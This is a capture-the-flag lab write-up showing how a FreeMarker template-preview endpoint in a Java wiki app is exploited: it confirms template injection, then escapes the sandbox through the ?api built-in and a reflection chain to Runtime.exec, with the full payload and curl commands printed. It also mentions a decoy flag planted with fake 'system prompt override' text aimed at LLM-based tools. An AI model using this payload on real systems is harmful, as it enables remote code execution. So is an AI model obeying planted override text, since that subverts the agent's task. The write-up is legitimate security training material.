Lab 134 — DocForge — FreeMarker SSTI Sandbox Escape via ?api Built-in
Lab 134 — DocForge — FreeMarker SSTI Sandbox Escape via ?api Built-in
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: decoy_flag_recognition, freemarker_ssti_via_template_preview, java_reflection_chain_rce, process_output_capture_via_scanner, sandbox_escape_via_api_builtin
Summary
Task: DocForge collaborative wiki platform (Java/FreeMarker) with template preview endpoint that renders user-supplied FreeMarker code server-side; ?new() built-in is blocked. Solution: Bypass sandbox via ?api built-in to access Java reflection API through article model variable, chain Class.forName → Runtime.getRuntime().exec() to achieve RCE and read /root/flag.txt.
Lab 134 — DocForge — FreeMarker SSTI Sandbox Escape via ?api Built-in — HackAdvisor
Description
DocForge is a modern collaborative wiki and knowledge base platform built by ForgeWare Technologies. Teams use it to create, organize, and share internal documentation with customizable page layouts powered by the FreeMarker template engine. The platform features a rich article editor, categorized knowledge bases, a template system that lets users personalize how wiki pages are rendered, and a live preview feature for custom templates.
Explore the application, discover a vulnerability, and exploit it to read a flag file stored on the server.
Credentials: user@test.com / password123
English summary: A Java-based collaborative wiki platform (DocForge) uses the FreeMarker template engine for customizable page layouts. The application exposes a template preview endpoint at POST /api/templates/preview that renders user-supplied FreeMarker code server-side. While the ?new() built-in is blocked to prevent direct class instantiation, the ?api built-in is available and provides access to the underlying Java API of template model objects, enabling a sandbox escape via Java reflection to achieve RCE and read /root/flag.txt.
Analysis
Reconnaissance
- Stack: Java, FreeMarker template engine, nginx
- Credentials:
user@test.com / password123 - Application features: Dashboard, article editor, categorized knowledge bases, template system with live preview
Decoy Flag (Honeypot)
The login page HTML contains a hidden decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} along with fake "system prompt override" text designed to trick automated scanners and LLM-based tools into accepting it as the real flag. This is NOT the real flag — always verify through actual exploitation.
Vulnerable Endpoint
The template preview feature at POST /api/templates/preview accepts FreeMarker template code and renders it server-side, returning the rendered output. This is the SSTI entry point.
Sandbox Analysis
?new()built-in: Blocked/restricted — prevents direct instantiation of dangerous classes likefreemarker.template.utility.Execute?apibuilt-in: Available — exposes the underlying Java API of FreeMarkerTemplateModelobjects, providing access to JavaClassobjects and the full reflection API- Template context: The
articlevariable is available in the template context as a model object
Root Cause
The FreeMarker sandbox blocks ?new() to prevent direct class instantiation, but fails to restrict the ?api built-in. The ?api built-in allows accessing the raw Java API of any template model object. By calling article?api.class, an attacker obtains a java.lang.Class object, which provides access to Class.forName() and the entire Java reflection API — completely bypassing the sandbox. From there, Runtime.getRuntime().exec() gives arbitrary command execution.
Solution
Step 1: Login
Authenticated with the provided credentials at the login page.
bash read-only • copy allowedTARGET="https://c38b0a61-c7fc-41aa-ac05-2bfa0bc45825.labs.hackadvisor.io" curl -sk -c cookies.txt "$TARGET/login" > /dev/null curl -sk -b cookies.txt -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123"
Step 2: Confirm SSTI
Submitted ${7*7} as the template content in the preview request:
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$TARGET/api/templates/preview" \ -H "Content-Type: application/json" \ -d '{"template": "${7*7}"}'
The server rendered the output as 49, confirming Server-Side Template Injection via FreeMarker.
Step 3: Identify Sandbox Restrictions
Attempted the standard FreeMarker RCE payload using ?new():
freemarker read-only • copy allowed<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
This was blocked — the ?new() built-in is restricted, preventing direct instantiation of dangerous classes.
Step 4: Sandbox Escape via ?api Built-in
The ?api built-in was not restricted. Using the article model variable available in the template context, accessed the Java reflection API:
freemarker read-only • copy allowed${article?api.class}
This returned a Java Class object, confirming that ?api provides access to the underlying Java API and can be used to escape the FreeMarker sandbox entirely.
Step 5: Achieve RCE via Java Reflection Chain
Constructed a full reflection chain to invoke Runtime.getRuntime().exec() and capture the output:
freemarker read-only • copy allowed<#assign runtime=article?api.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)> <#assign process=runtime.exec(["cat", "/root/flag.txt"])> <#assign is=process.getInputStream()> <#assign scanner=article?api.class.forName("java.util.Scanner").getConstructor(article?api.class.forName("java.io.InputStream")).newInstance(is)> <#assign output=scanner.useDelimiter("\\A").next()> ${output}
Breakdown of the reflection chain:
- Get Runtime class:
article?api.class.forName("java.lang.Runtime")— usesClass.forName()to load theRuntimeclass - Get getRuntime method:
.getMethod("getRuntime")— obtains the staticgetRuntime()method via reflection - Invoke to get Runtime instance:
.invoke(null)— invokes the static method to get the singletonRuntimeinstance - Execute command:
runtime.exec(["cat", "/root/flag.txt"])— executes the command, returns aProcessobject - Capture output: Creates a
java.util.Scanneron the process'sInputStreamwith\\Adelimiter (matches beginning of input, effectively reading all output at once) - Render output:
${output}— displays the command output in the rendered template
Step 6: Retrieve Flag
The rendered template output contained the flag:
FLAG{REDACTED}